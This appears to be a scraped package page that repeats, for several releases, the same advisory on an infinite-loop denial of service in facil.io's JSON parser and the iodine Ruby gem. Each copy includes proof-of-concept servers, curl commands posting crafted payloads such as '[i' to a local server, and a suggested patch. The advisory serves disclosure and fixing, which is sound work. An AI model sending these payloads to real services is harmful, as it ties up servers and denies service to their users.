  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

May 01, 2023

0.7.54 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Mar 15, 2023

0.7.53 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Jan 13, 2023

0.7.52 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


